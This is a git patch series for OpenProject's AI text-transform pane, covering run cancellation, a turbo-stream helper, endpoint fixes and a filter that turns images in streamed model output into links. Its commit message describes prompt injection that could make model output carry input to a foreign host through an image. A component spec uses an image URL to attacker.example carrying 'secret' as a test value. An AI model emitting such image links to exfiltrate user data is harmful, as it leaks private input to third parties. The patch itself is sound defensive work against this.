diff --git a/spec/components/ai/text_transforms/result_pane_component/body_spec.rb b/spec/components/ai/text_transforms/result_pane_component/body_spec.rb index de8b0e0d0cbf..df42ab476afd 100644 --- a/spec/components/ai/text_transforms/result_pane_component/body_spec.rb +++ b/spec/components/ai/text_transforms/result_pane_component/body_spec.rb @@ -74,6 +74,17 @@ end end + context "for a new work package of a project" do + let(:project) { create(:project, :with_internal_wiki).reload } + let(:pane) { AI::TextTransforms::ResultPaneState.new(run:, scope:, request_id: SecureRandom.uuid, project:) } + + before { run.events.build(kind: "text_delta", payload: { "delta" => " [[Release notes]]" }, seq: 2) } + + it "resolves wiki links within the project" do + expect(subject).to have_css("a[href^='/projects/#{project.identifier}/wiki/release-notes']", text: "Release notes") + end + end + context "when stopped" do let(:status) { "failed" } From 6254eca112f70f96f4041448cfda113c02a3bd86 Mon Sep 17 00:00:00 2001 From: Jonas Jabari Date: Mon, 26 Oct 2026 13:04:49 +0100 Subject: [PATCH 6/9] [AI-175] Share run cancellation between API and pane TextTransformRun#request_cancel! replaces the inline update in the API cancel endpoint. It writes the flag with update_column, so closing a pane cannot fail on validations of an otherwise unchanged run. Co-Authored-By: Claude Opus 5.5 (1M context) --- app/models/ai/text_transform_run.rb | 4 ++++ lib/api/v3/ai/text_transform_runs_api.rb | 2 +- spec/models/ai/text_transform_run_spec.rb | 26 +++++++++++++++++++++++ 3 files changed, 31 insertions(+), 1 deletion(-) diff --git a/app/models/ai/text_transform_run.rb b/app/models/ai/text_transform_run.rb index 754ef2bf99a7..24ae0f848007 100644 --- a/app/models/ai/text_transform_run.rb +++ b/app/models/ai/text_transform_run.rb @@ -80,6 +80,10 @@ def start! update!(status: "running") end + def request_cancel! + update_column(:cancel_requested, true) unless terminal? + end + def finish!(status, error_message: nil) raise ArgumentError, "#{status} is not a terminal status" unless TERMINAL_STATUSES.include?(status.to_s) diff --git a/lib/api/v3/ai/text_transform_runs_api.rb b/lib/api/v3/ai/text_transform_runs_api.rb index 59707297f249..b21745212665 100644 --- a/lib/api/v3/ai/text_transform_runs_api.rb +++ b/lib/api/v3/ai/text_transform_runs_api.rb @@ -104,7 +104,7 @@ def raise_create_failure(errors) namespace :cancel do post do - @run.update!(cancel_requested: true) unless @run.terminal? + @run.request_cancel! status 204 end diff --git a/spec/models/ai/text_transform_run_spec.rb b/spec/models/ai/text_transform_run_spec.rb index a7c038931e2d..7095a254970b 100644 --- a/spec/models/ai/text_transform_run_spec.rb +++ b/spec/models/ai/text_transform_run_spec.rb @@ -151,6 +151,32 @@ end end + describe "#request_cancel!" do + it "flags a running run for cancellation" do + run = create(:ai_text_transform_run, :running) + + run.request_cancel! + + expect(run.reload.cancel_requested).to be(true) + end + + it "leaves a terminal run untouched" do + run = create(:ai_text_transform_run, :succeeded) + + run.request_cancel! + + expect(run.reload.cancel_requested).to be(false) + end + + it "does not depend on the run being valid" do + run = create(:ai_text_transform_run, :running) + run.update_column(:input, "x" * (AI::TextTransformRun::MAX_INPUT_LENGTH + 1)) + + expect { run.reload.request_cancel! }.not_to raise_error + expect(run.reload.cancel_requested).to be(true) + end + end + describe "finished_at" do subject(:run) { create(:ai_text_transform_run, :running) } From e29a2c502a49e4851f60e3e6e42f7cdfd7fdf9ce Mon Sep 17 00:00:00 2001 From: Jonas Jabari Date: Mon, 26 Oct 2026 13:04:49 +0100 Subject: [PATCH 7/9] [AI-175] Keep model output from loading images in the pane The pane renders model output while it streams, before the user has reviewed it. An image in that output would be fetched right away and could carry parts of the input to a foreign host (prompt injection via a template or someone else's text). format_text(untrusted_source: true) now turns images into links and drops macros; the raw text kept for Replace is unchanged. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../result_pane_component/body.rb | 2 +- config/locales/en.yml | 1 + .../filters/untrusted_source_filter.rb | 52 ++++++++++++++ .../formats/markdown/formatter.rb | 1 + .../result_pane_component/body_spec.rb | 11 +++ .../filters/untrusted_source_filter_spec.rb | 68 +++++++++++++++++++ 6 files changed, 134 insertions(+), 1 deletion(-) create mode 100644 lib/open_project/text_formatting/filters/untrusted_source_filter.rb create mode 100644 spec/lib/open_project/text_formatting/filters/untrusted_source_filter_spec.rb diff --git a/app/components/ai/text_transforms/result_pane_component/body.rb b/app/components/ai/text_transforms/result_pane_component/body.rb index 2304b3758ca1..dbb2bb81561d 100644 --- a/app/components/ai/text_transforms/result_pane_component/body.rb +++ b/app/components/ai/text_transforms/result_pane_component/body.rb @@ -56,7 +56,7 @@ def done? end def output - helpers.format_text(pane.text, object: pane.work_package, project: pane.project) + helpers.format_text(pane.text, object: pane.work_package, project: pane.project, untrusted_source: true) end end end diff --git a/config/locales/en.yml b/config/locales/en.yml index d2214ceb386f..37cd7c08275b 100644 --- a/config/locales/en.yml +++ b/config/locales/en.yml @@ -7260,6 +7260,7 @@ en: You can freely group the fields to reflect the needs for your domain. text_form_configuration_required_attribute: "Attribute is marked required and thus always shown" text_formatting: + image_link: "Image: %{name}" markdown: "Markdown" plain: "Plain text" text_git_repo_example: "a bare and local repository (e.g. /gitrepo, c:\\gitrepo)" diff --git a/lib/open_project/text_formatting/filters/untrusted_source_filter.rb b/lib/open_project/text_formatting/filters/untrusted_source_filter.rb new file mode 100644 index 000000000000..c6b0706e0457 --- /dev/null +++ b/lib/open_project/text_formatting/filters/untrusted_source_filter.rb @@ -0,0 +1,52 @@ +# frozen_string_literal: true + +#-- copyright +# OpenProject is an open source project management software. +# Copyright (C) the OpenProject GmbH +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License version 3. +# +# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: +# Copyright (C) 2006-2013 Jean-Philippe Lang +# Copyright (C) 2010-2013 the ChiliProject Team +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +module OpenProject::TextFormatting + module Filters + class UntrustedSourceFilter < HTML::Pipeline::Filter + def call + return doc unless context[:untrusted_source] + + doc.css("macro").each(&:remove) + doc.css("img").each { |image| image.replace(link_for(image)) } + + doc + end + + private + + def link_for(image) + source = image["src"].to_s + link = doc.document.create_element("a", href: source) + link.content = I18n.t("text_formatting.image_link", name: image["alt"].presence || source) + link + end + end + end +end diff --git a/lib/open_project/text_formatting/formats/markdown/formatter.rb b/lib/open_project/text_formatting/formats/markdown/formatter.rb index 6d9d41909c6e..0fe1e277ddcf 100644 --- a/lib/open_project/text_formatting/formats/markdown/formatter.rb +++ b/lib/open_project/text_formatting/formats/markdown/formatter.rb @@ -44,6 +44,7 @@ class Formatter < OpenProject::TextFormatting::Formats::BaseFormatter OpenProject::TextFormatting::Filters::AttachmentFilter, OpenProject::TextFormatting::Filters::AutolinkFilter, OpenProject::TextFormatting::Filters::AutolinkCustomProtocolsFilter, + OpenProject::TextFormatting::Filters::UntrustedSourceFilter, OpenProject::TextFormatting::Filters::RelativeLinkFilter, OpenProject::TextFormatting::Filters::LinkAttributeFilter, OpenProject::TextFormatting::Filters::ExternalLinkCaptureFilter, diff --git a/spec/components/ai/text_transforms/result_pane_component/body_spec.rb b/spec/components/ai/text_transforms/result_pane_component/body_spec.rb index df42ab476afd..f5600cccd239 100644 --- a/spec/components/ai/text_transforms/result_pane_component/body_spec.rb +++ b/spec/components/ai/text_transforms/result_pane_component/body_spec.rb @@ -74,6 +74,17 @@ end end + context "with an image in the output" do + before do + run.events.build(kind: "text_delta", payload: { "delta" => " ![chart](https://attacker.example/?d=secret)" }, seq: 2) + end + + it "links the image instead of loading it" do + expect(subject).to have_no_css("img", visible: :all) + expect(subject).to have_link("Image: chart", href: "https://attacker.example/?d=secret") + end + end + context "for a new work package of a project" do let(:project) { create(:project, :with_internal_wiki).reload } let(:pane) { AI::TextTransforms::ResultPaneState.new(run:, scope:, request_id: SecureRandom.uuid, project:) } diff --git a/spec/lib/open_project/text_formatting/filters/untrusted_source_filter_spec.rb b/spec/lib/open_project/text_formatting/filters/untrusted_source_filter_spec.rb new file mode 100644 index 000000000000..5551f6683c0b --- /dev/null +++ b/spec/lib/open_project/text_formatting/filters/untrusted_source_filter_spec.rb @@ -0,0 +1,68 @@ +# frozen_string_literal: true + +#-- copyright +# OpenProject is an open source project management software. +# Copyright (C) the OpenProject GmbH +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License version 3. +# +# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: +# Copyright (C) 2006-2013 Jean-Philippe Lang +# Copyright (C) 2010-2013 the ChiliProject Team +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +require "spec_helper" + +RSpec.describe OpenProject::TextFormatting::Filters::UntrustedSourceFilter do + let(:html) do + '

Text Logo

' \ + '' + end + + subject(:result) { described_class.new(html, context).call.to_html } + + context "for an untrusted source" do + let(:context) { { untrusted_source: true } } + + it "turns images into links so that nothing is fetched" do + expect(result).not_to include("Image: Logo') + expect(result).to include('Image: /attachments/1') + end + + it "removes macros" do + expect(result).not_to include(" Date: Mon, 26 Oct 2026 13:04:49 +0100 Subject: [PATCH 8/9] [AI-175] Add append_to_body_via_turbo_stream For elements that live outside the page layout, like the AI result pane. Renders lazily like the other turbo stream helpers. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../concerns/op_turbo/component_stream.rb | 10 ++++++++++ .../concerns/op_turbo/component_stream_spec.rb | 18 +++++++++++++++++- 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/app/controllers/concerns/op_turbo/component_stream.rb b/app/controllers/concerns/op_turbo/component_stream.rb index 1225d2225de7..a4212171e33b 100644 --- a/app/controllers/concerns/op_turbo/component_stream.rb +++ b/app/controllers/concerns/op_turbo/component_stream.rb @@ -194,6 +194,16 @@ def dispatch_event_via_turbo_stream(name, detail: {}) .render_in(view_context) end + # Appends a component to ``, for elements that live outside the page + # layout. Turbo replaces a direct child of `` with the same id. + def append_to_body_via_turbo_stream(component:) + turbo_streams << lambda { + OpTurbo::StreamComponent + .new(action: :append, target: nil, targets: "body", template: component.render_in(view_context)) + .render_in(view_context) + } + end + def turbo_streams @turbo_streams ||= [] end diff --git a/spec/controllers/concerns/op_turbo/component_stream_spec.rb b/spec/controllers/concerns/op_turbo/component_stream_spec.rb index a8f89fe7d0bc..a772ec5f57bb 100644 --- a/spec/controllers/concerns/op_turbo/component_stream_spec.rb +++ b/spec/controllers/concerns/op_turbo/component_stream_spec.rb @@ -35,13 +35,18 @@ controller(ApplicationController) do include described_module - no_authorization_required! :update, :set_page_title + no_authorization_required! :update, :set_page_title, :append_to_body def update dispatch_event_via_turbo_stream(params[:event_name], detail: { work_package_id: 42 }) respond_to_with_turbo_streams end + def append_to_body + append_to_body_via_turbo_stream(component: Primer::Beta::Octicon.new(icon: :sparkle, id: "appended")) + respond_to_with_turbo_streams + end + def set_page_title project = Project.new(name: params[:project_name]) if params[:project_name].present? set_page_title_via_turbo_stream(*params[:parts], project:) @@ -55,6 +60,17 @@ def set_page_title routes.draw do get "update" => "anonymous#update" get "set_page_title" => "anonymous#set_page_title" + get "append_to_body" => "anonymous#append_to_body" + end + end + + describe "#append_to_body_via_turbo_stream" do + it "renders an append turbo stream targeting the body" do + get :append_to_body, as: :turbo_stream + + stream = Nokogiri::HTML5.fragment(response.body).at_css('turbo-stream[action="append"]') + expect(stream["targets"]).to eq("body") + expect(stream.at_css("template svg#appended")).to be_present end end From a4c5059580dbbc08a638338da02a241153879fca Mon Sep 17 00:00:00 2001 From: Jonas Jabari Date: Mon, 26 Oct 2026 13:04:57 +0100 Subject: [PATCH 9/9] [AI-175] Address review of the pane endpoints - destroy always cancels and removes the pane; closed is dispatched only with a valid request id - apply re-checks the context like polls do - polls may send the state they show and get 204 while it and the events are unchanged, also for finished runs - not found and forbidden answer without an HTML body - the contract rejects retry_of together with an action or input, limits input to the run's maximum, lists its keys literally and namespaces its messages - the pane state takes the resolved Context instead of single ids - the apply event is renamed to accepted, in line with the other op-dispatched events - a table-driven contract spec replaces the separate 400 examples; new request examples for the feature flag on every action, an anonymous user, a type outside the project, markup in the text and a text sent by the client Co-Authored-By: Claude Opus 5.5 (1M context) --- .../ai/text_transforms/result_pane_state.rb | 15 +- .../text_transforms/pane_params_contract.rb | 19 ++- .../ai/text_transform_panes_controller.rb | 88 +++++++----- app/services/ai/text_transforms/context.rb | 10 ++ config/locales/en.yml | 13 +- .../result_pane_component/body_spec.rb | 8 +- .../pane_params_contract_spec.rb | 80 +++++++++++ spec/requests/ai/text_transform_panes_spec.rb | 136 +++++++++++------- .../ai/text_transforms/context_spec.rb | 9 ++ 9 files changed, 268 insertions(+), 110 deletions(-) create mode 100644 spec/contracts/ai/text_transforms/pane_params_contract_spec.rb diff --git a/app/components/ai/text_transforms/result_pane_state.rb b/app/components/ai/text_transforms/result_pane_state.rb index 86fff337a932..27c0473bb5c8 100644 --- a/app/components/ai/text_transforms/result_pane_state.rb +++ b/app/components/ai/text_transforms/result_pane_state.rb @@ -30,19 +30,20 @@ module AI module TextTransforms class ResultPaneState - attr_reader :run, :scope, :request_id, :work_package, :project, :context_ids, :rejection + attr_reader :run, :scope, :request_id, :context, :rejection - def self.rejected(message:, label:, scope:, request_id:, context_ids: {}) - new(run: nil, scope:, request_id:, label:, context_ids:, rejection: message) + delegate :work_package, :project, to: :context + delegate :ids, to: :context, prefix: true + + def self.rejected(message:, label:, scope:, request_id:, context: Context.none) + new(run: nil, scope:, request_id:, label:, context:, rejection: message) end - def initialize(run:, scope:, request_id:, work_package: nil, project: nil, context_ids: {}, label: nil, rejection: nil) + def initialize(run:, scope:, request_id:, context: Context.none, label: nil, rejection: nil) @run = run @scope = scope @request_id = request_id - @work_package = work_package - @project = project - @context_ids = context_ids + @context = context @label = label @rejection = rejection end diff --git a/app/contracts/ai/text_transforms/pane_params_contract.rb b/app/contracts/ai/text_transforms/pane_params_contract.rb index b037a828a4ad..49bed8719543 100644 --- a/app/contracts/ai/text_transforms/pane_params_contract.rb +++ b/app/contracts/ai/text_transforms/pane_params_contract.rb @@ -31,7 +31,11 @@ module AI module TextTransforms class PaneParamsContract < DryApplicationContract SCOPES = %w[document selection].freeze + STATES = %w[generating done failed stopped cancelled].freeze CONTEXT_KEYS = %i[work_package_id project_id type_id].freeze + KEYS = %i[request_id scope work_package_id project_id type_id after state action_id input retry_of].freeze + + config.messages.namespace = :ai_text_transform_pane params do required(:request_id).filled(:string, :uuid_v4?) @@ -40,21 +44,22 @@ class PaneParamsContract < DryApplicationContract optional(:project_id).maybe(:integer, gt?: 0) optional(:type_id).maybe(:integer, gt?: 0) optional(:after).maybe(:integer, gteq?: 0) + optional(:state).maybe(:string, included_in?: STATES) optional(:action_id).maybe(:integer, gt?: 0) - optional(:input).maybe(:string) + optional(:input).maybe(:string, max_size?: AI::TextTransformRun::MAX_INPUT_LENGTH) optional(:retry_of).maybe(:string, :uuid_v4?) end - rule(:project_id) do - key.failure(:with_work_package) if value && values[:work_package_id] + rule(:project_id, :work_package_id) do + key(:project_id).failure(:with_work_package) if values[:project_id] && values[:work_package_id] end - rule(:type_id) do - key.failure(:without_project) if value.nil? != values[:project_id].nil? + rule(:type_id, :project_id) do + key(:type_id).failure(:without_project) if values[:type_id].nil? != values[:project_id].nil? end - def self.keys - schema.key_map.map { |key| key.name.to_sym } + rule(:retry_of, :action_id, :input) do + key(:retry_of).failure(:with_action) if values[:retry_of] && (values[:action_id] || values[:input]) end end end diff --git a/app/controllers/ai/text_transform_panes_controller.rb b/app/controllers/ai/text_transform_panes_controller.rb index ac60ee0a6dbd..ed208767ffc3 100644 --- a/app/controllers/ai/text_transform_panes_controller.rb +++ b/app/controllers/ai/text_transform_panes_controller.rb @@ -32,32 +32,32 @@ class TextTransformPanesController < ApplicationController include OpTurbo::ComponentStream include AI::TextTransformActionsFeature - APPLY_EVENT = "op-dispatched:ai-text-transform:apply" + ACCEPTED_EVENT = "op-dispatched:ai-text-transform:accepted" CLOSED_EVENT = "op-dispatched:ai-text-transform:closed" before_action :require_login before_action :require_ai_text_transform_actions_feature authorization_checked! :create, :show, :destroy, :apply, :cancel - before_action :validate_pane_params, except: :cancel + before_action :validate_pane_params, except: %i[destroy cancel] before_action :find_run, only: %i[show apply cancel] - before_action :resolve_context, only: :create + before_action :find_retried_run, only: :create + before_action :resolve_context, only: %i[create apply] def show - return head(:no_content) unless run.terminal? || new_events? + return head(:no_content) if unchanged? run.cancelled? ? close_pane : update_sections respond_with_turbo_streams unless performed? end def create - append_pane(start_run) + append_to_body_via_turbo_stream(component: AI::TextTransforms::ResultPaneComponent.new(pane: start_run)) respond_with_turbo_streams end def destroy - open_run = own_runs.find_by(uuid: params[:uuid]) - request_cancel(open_run) if open_run + own_runs.find_by(uuid: params[:uuid])&.request_cancel! close_pane respond_with_turbo_streams @@ -66,53 +66,75 @@ def destroy def apply return head(:unprocessable_entity) unless run.succeeded? - dispatch_event_via_turbo_stream(APPLY_EVENT, detail: { requestId: pane_params[:request_id], - scope: pane_params[:scope], - text: pane_for(run).text }) + dispatch_event_via_turbo_stream(ACCEPTED_EVENT, detail: { requestId: request_id, + scope: pane_params[:scope], + text: pane_for(run).text }) respond_with_turbo_streams end def cancel - request_cancel(run) + run.request_cancel! head :no_content end private - attr_reader :pane_params, :context, :run + attr_reader :run, :retried_run def own_runs AI::TextTransformRun.where(user: current_user) end def find_run - @run = own_runs.find_by!(uuid: params.expect(:uuid)) + @run = own_runs.find_by(uuid: params[:uuid]) + head :not_found unless run end - def new_events? - run.events_after(pane_params[:after]).exists? + def find_retried_run + return unless pane_params[:retry_of] + + @retried_run = own_runs.failed.find_by(uuid: pane_params[:retry_of]) + head :not_found unless retried_run + end + + def pane_params + @pane_params ||= pane_contract.call(params.permit(*AI::TextTransforms::PaneParamsContract::KEYS).to_h) end - def request_cancel(cancellable) - cancellable.update!(cancel_requested: true) unless cancellable.terminal? + def pane_contract + AI::TextTransforms::PaneParamsContract.new end def validate_pane_params - @pane_params = AI::TextTransforms::PaneParamsContract.new.call(params.permit(*AI::TextTransforms::PaneParamsContract.keys).to_h) head :bad_request if pane_params.failure? end - def context_ids - pane_params.to_h.slice(*AI::TextTransforms::PaneParamsContract::CONTEXT_KEYS).compact + def request_id + pane_params[:request_id] unless pane_params.error?(:request_id) + end + + def unchanged? + return false if run.events_after(pane_params[:after]).exists? + + seen_state = pane_params[:state] + seen_state ? seen_state == pane_for(run).state : !run.terminal? + end + + def context + @context || AI::TextTransforms::Context.none end def resolve_context call = AI::TextTransforms::ResolveContext.new(user: current_user).call(**context_ids) return @context = call.result if call.success? - call.errors.any? { |error| error.type == :error_not_found } ? render_404 : render_403 + head(call.errors.any? { |error| error.type == :error_not_found } ? :not_found : :forbidden) + end + + def context_ids + pane_params.to_h.slice(*AI::TextTransforms::PaneParamsContract::CONTEXT_KEYS).compact end def start_run @@ -122,33 +144,21 @@ def start_run end def run_source - retry_of = pane_params[:retry_of] - return [AI::TextTransformAction.find_by(id: pane_params[:action_id]), pane_params[:input].to_s] unless retry_of + return [retried_run.action, retried_run.input] if retried_run - retried = own_runs.failed.find_by!(uuid: retry_of) - [retried.action, retried.input] + [AI::TextTransformAction.find_by(id: pane_params[:action_id]), pane_params[:input].to_s] end def pane_for(pane_run) - AI::TextTransforms::ResultPaneState.new(run: pane_run, scope: pane_params[:scope], request_id: pane_params[:request_id], - work_package: context&.work_package, project: context&.project, context_ids:) + AI::TextTransforms::ResultPaneState.new(run: pane_run, scope: pane_params[:scope], request_id:, context:) end def rejected_pane(errors, action) AI::TextTransforms::ResultPaneState.rejected(message: errors.full_messages.first, label: action&.label.to_s, scope: pane_params[:scope], - request_id: pane_params[:request_id], - context_ids:) - end - - def append_pane(pane) - turbo_streams << lambda { - OpTurbo::StreamComponent - .new(action: :append, target: nil, targets: "body", - template: AI::TextTransforms::ResultPaneComponent.new(pane:).render_in(view_context)) - .render_in(view_context) - } + request_id:, + context:) end def update_sections @@ -163,7 +173,7 @@ def update_sections def close_pane remove_via_turbo_stream(component: AI::TextTransforms::ResultPaneComponent.new(pane: nil)) - dispatch_event_via_turbo_stream(CLOSED_EVENT, detail: { requestId: pane_params[:request_id] }) + dispatch_event_via_turbo_stream(CLOSED_EVENT, detail: { requestId: request_id }) if request_id end end end diff --git a/app/services/ai/text_transforms/context.rb b/app/services/ai/text_transforms/context.rb index bd8bb0eebf23..a43e62b29dd3 100644 --- a/app/services/ai/text_transforms/context.rb +++ b/app/services/ai/text_transforms/context.rb @@ -50,6 +50,16 @@ def initialize(work_package:, project:, type:) @type = type end + def ids + if work_package + { work_package_id: work_package.id } + elsif project + { project_id: project.id, type_id: type.id } + else + {} + end + end + def type_variant return @type_variant if defined?(@type_variant) diff --git a/config/locales/en.yml b/config/locales/en.yml index 37cd7c08275b..a379f18c6c4f 100644 --- a/config/locales/en.yml +++ b/config/locales/en.yml @@ -5762,6 +5762,14 @@ en: op_dry_validation: errors: + ai_text_transform_pane: + rules: + project_id: + with_work_package: "must not be combined with a work package." + retry_of: + with_action: "must not be combined with an action or input." + type_id: + without_project: "must be given together with a project." array?: "must be an array." decimal?: "must be a decimal." defined: "must not be defined." @@ -5778,6 +5786,7 @@ en: range: "must be one of: %{list_left} - %{list_right}." int?: "must be an integer." key?: "is missing." + max_size?: "must not be longer than %{num} characters." not_found: "not found." respond_to?: "does not implement required method." rules: @@ -5790,12 +5799,8 @@ en: not_unique: "must be unique within the same hierarchy level." parent: not_descendant: "must be a descendant of the hierarchy root." - project_id: - with_work_package: "must not be combined with a work package." short: not_unique: "must be unique within the same hierarchy level." - type_id: - without_project: "must be given together with a project." str?: "must be a string." time?: "must be a time." type?: "must be %{type}." diff --git a/spec/components/ai/text_transforms/result_pane_component/body_spec.rb b/spec/components/ai/text_transforms/result_pane_component/body_spec.rb index f5600cccd239..93dfe2f8eb2e 100644 --- a/spec/components/ai/text_transforms/result_pane_component/body_spec.rb +++ b/spec/components/ai/text_transforms/result_pane_component/body_spec.rb @@ -86,13 +86,15 @@ end context "for a new work package of a project" do - let(:project) { create(:project, :with_internal_wiki).reload } - let(:pane) { AI::TextTransforms::ResultPaneState.new(run:, scope:, request_id: SecureRandom.uuid, project:) } + let(:type) { create(:type) } + let(:project) { create(:project, :with_internal_wiki, types: [type]).reload } + let(:context) { AI::TextTransforms::Context.for_new_work_package(project:, type:) } + let(:pane) { AI::TextTransforms::ResultPaneState.new(run:, scope:, request_id: SecureRandom.uuid, context:) } before { run.events.build(kind: "text_delta", payload: { "delta" => " [[Release notes]]" }, seq: 2) } it "resolves wiki links within the project" do - expect(subject).to have_css("a[href^='/projects/#{project.identifier}/wiki/release-notes']", text: "Release notes") + expect(subject).to have_link("Release notes", href: %r{\A/projects/#{project.identifier}/wiki/release-notes}) end end diff --git a/spec/contracts/ai/text_transforms/pane_params_contract_spec.rb b/spec/contracts/ai/text_transforms/pane_params_contract_spec.rb new file mode 100644 index 000000000000..47b861628dd0 --- /dev/null +++ b/spec/contracts/ai/text_transforms/pane_params_contract_spec.rb @@ -0,0 +1,80 @@ +# frozen_string_literal: true + +#-- copyright +# OpenProject is an open source project management software. +# Copyright (C) the OpenProject GmbH +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License version 3. +# +# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows: +# Copyright (C) 2006-2013 Jean-Philippe Lang +# Copyright (C) 2010-2013 the ChiliProject Team +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# See COPYRIGHT and LICENSE files for more details. +#++ + +require "spec_helper" + +RSpec.describe AI::TextTransforms::PaneParamsContract do + let(:valid) { { request_id: SecureRandom.uuid, scope: "document" } } + + def errors_for(params) + described_class.new.call(valid.merge(params)).errors + end + + it "accepts a request id and a scope without a context" do + expect(errors_for({})).to be_empty + end + + { + "a work package" => { work_package_id: "7" }, + "a project and a type" => { project_id: "1", type_id: "2" }, + "blank context ids" => { work_package_id: "", project_id: "1", type_id: "2" }, + "an action and input" => { action_id: "3", input: "Text" }, + "a retry" => { retry_of: SecureRandom.uuid }, + "a poll position and state" => { after: "0", state: "done" } + }.each do |description, params| + it "accepts #{description}" do + expect(errors_for(params)).to be_empty + end + end + + { + "a request id that is not a UUID" => [{ request_id: "pane-1" }, :request_id, "must be a UUID (version 4)."], + "a missing request id" => [{ request_id: nil }, :request_id, "must be filled."], + "an unknown scope" => [{ scope: "page" }, :scope, "must be one of: document, selection."], + "a non-numeric action id" => [{ action_id: "fix" }, :action_id, "must be an integer."], + "an unknown state" => [{ state: "paused" }, :state, "must be one of: generating, done, failed, stopped, cancelled."], + "a work package together with a project" => + [{ work_package_id: "7", project_id: "1", type_id: "2" }, :project_id, "must not be combined with a work package."], + "a project without a type" => [{ project_id: "1" }, :type_id, "must be given together with a project."], + "a type without a project" => [{ type_id: "2" }, :type_id, "must be given together with a project."], + "a retry together with an action" => + [{ retry_of: SecureRandom.uuid, action_id: "3" }, :retry_of, "must not be combined with an action or input."], + "a retry that is not a UUID" => [{ retry_of: "run-1" }, :retry_of, "must be a UUID (version 4)."] + }.each do |description, (params, key, message)| + it "rejects #{description}" do + expect(errors_for(params)[key]).to contain_exactly(message) + end + end + + it "rejects input over the maximum length of a run" do + input = "x" * (AI::TextTransformRun::MAX_INPUT_LENGTH + 1) + + expect(errors_for(input:)[:input]).to be_present + end +end diff --git a/spec/requests/ai/text_transform_panes_spec.rb b/spec/requests/ai/text_transform_panes_spec.rb index 63de9d812ee7..0b7690b96fc5 100644 --- a/spec/requests/ai/text_transform_panes_spec.rb +++ b/spec/requests/ai/text_transform_panes_spec.rb @@ -131,57 +131,50 @@ def run_with_events(status, *events) expect(response).to have_http_status(:not_found) end - it "rejects a request id that is not a UUID" do - post ai_text_transform_panes_path, params: start_params.merge(request_id: "pane-1"), headers: stream - - expect(response).to have_http_status(:bad_request) - expect(AI::TextTransformRun.count).to eq(0) - end - - it "rejects a request without a request id" do - post ai_text_transform_panes_path, params: start_params.except(:request_id), headers: stream - - expect(response).to have_http_status(:bad_request) - end + it "does not find a type that is not enabled in the project" do + other_type = create(:type) - it "rejects an unknown scope" do - post ai_text_transform_panes_path, params: start_params.merge(scope: "page"), headers: stream + post ai_text_transform_panes_path, + params: start_params.except(:work_package_id).merge(project_id: project.id, type_id: other_type.id), + headers: stream - expect(response).to have_http_status(:bad_request) + expect(response).to have_http_status(:not_found) + expect(AI::TextTransformRun.count).to eq(0) end - it "rejects an action id that is not a number" do - post ai_text_transform_panes_path, params: start_params.merge(action_id: "fix"), headers: stream + it "rejects invalid parameters" do + post ai_text_transform_panes_path, params: start_params.merge(request_id: "pane-1"), headers: stream expect(response).to have_http_status(:bad_request) + expect(AI::TextTransformRun.count).to eq(0) end - it "rejects a work package together with a project" do - post ai_text_transform_panes_path, params: start_params.merge(project_id: project.id, type_id: type.id), headers: stream - - expect(response).to have_http_status(:bad_request) - end + context "when not logged in" do + current_user { User.anonymous } - it "rejects a project without a type" do - post ai_text_transform_panes_path, - params: start_params.except(:work_package_id).merge(project_id: project.id), - headers: stream + it "starts no run" do + post ai_text_transform_panes_path, params: start_params, headers: stream - expect(response).to have_http_status(:bad_request) + expect(response).not_to have_http_status(:ok) + expect(AI::TextTransformRun.count).to eq(0) + end end + end - it "ignores blank context ids" do - post ai_text_transform_panes_path, - params: start_params.merge(work_package_id: "", project_id: project.id, type_id: type.id), - headers: stream + context "with the feature flag inactive", with_flag: { ai_text_transform_actions: false } do + let(:run) { run_with_events(:succeeded, ["completed", { "text" => "Done." }]) } - expect(response).to have_http_status(:ok) - expect(AI::TextTransformRun.count).to eq(1) - end + { + "create" => ->(_run, params) { [:post, ai_text_transform_panes_path, params] }, + "show" => ->(run, params) { [:get, ai_text_transform_pane_path(run.uuid, **params), {}] }, + "destroy" => ->(run, params) { [:delete, ai_text_transform_pane_path(run.uuid), params] }, + "apply" => ->(run, params) { [:post, apply_ai_text_transform_pane_path(run.uuid), params] }, + "cancel" => ->(run, _params) { [:post, cancel_ai_text_transform_pane_path(run.uuid), {}] } + }.each do |name, request| + it "is not found for #{name}" do + verb, path, params = instance_exec(run, start_params, &request) - context "with the feature flag inactive", with_flag: { ai_text_transform_actions: false } do - it "is not found" do - post ai_text_transform_panes_path, params: start_params, headers: stream + public_send(verb, path, params:, headers: stream) expect(response).to have_http_status(:not_found) end @@ -199,6 +192,23 @@ def run_with_events(status, *events) expect(AI::TextTransforms::ResolveContext).not_to have_received(:new) end + it "answers without content once the client has seen the final state" do + run = run_with_events(:succeeded, ["completed", { "text" => "Done." }]) + + get ai_text_transform_pane_path(run.uuid, **pane_params, after: 1, state: "done"), headers: stream + + expect(response).to 